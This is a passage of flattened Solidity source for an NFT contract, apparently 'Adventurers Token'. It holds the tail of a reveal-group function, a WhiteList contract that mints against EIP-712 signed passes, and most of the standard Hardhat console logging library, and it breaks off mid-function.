_prev.lastIndex + _tokensCount })); groupHashes.push(_revealHash); } function undoReveal() external onlyOwner() { revealGroups.pop(); groupHashes.pop(); } } //SPDX-License-Identifier: Unlicense pragma solidity ^0.8.11; import "./ERC721.sol"; import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; /** * @notice Whitelist stage of Adventurers Token workflow */ abstract contract WhiteList is ERC721, EIP712 { string public constant EIP712_VERSION = "1.0.0"; /* state */ address public signer; mapping(address /* minter */ => /* minted */ uint) public whitelistMinters; constructor() EIP712(NAME, EIP712_VERSION) { signer = msg.sender; } /* eip-712 */ bytes32 private constant PASS_TYPEHASH = keccak256("MintPass(address wallet,uint256 count)"); /* change eip-712 signer address, set 0 to disable WL */ function setSigner(address _value) external onlyOwner { signer = _value; } function mintSelected(uint _count, uint _signatureCount, bytes memory _signature) external returns (uint from, uint to) { require(signer != address(0), "eip-712: whitelist mint disabled"); bytes32 _digest = _hashTypedDataV4( keccak256(abi.encode(PASS_TYPEHASH, msg.sender, _signatureCount)) ); require(ECDSA.recover(_digest, _signature) == signer, "eip-712: invalid signature"); uint _maxCount = _signatureCount + 1 - whitelistMinters[msg.sender]; require(_count < _maxCount, "eip-712: invalid count"); whitelistMinters[msg.sender] += _count; return _mint(msg.sender, _count); } } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { 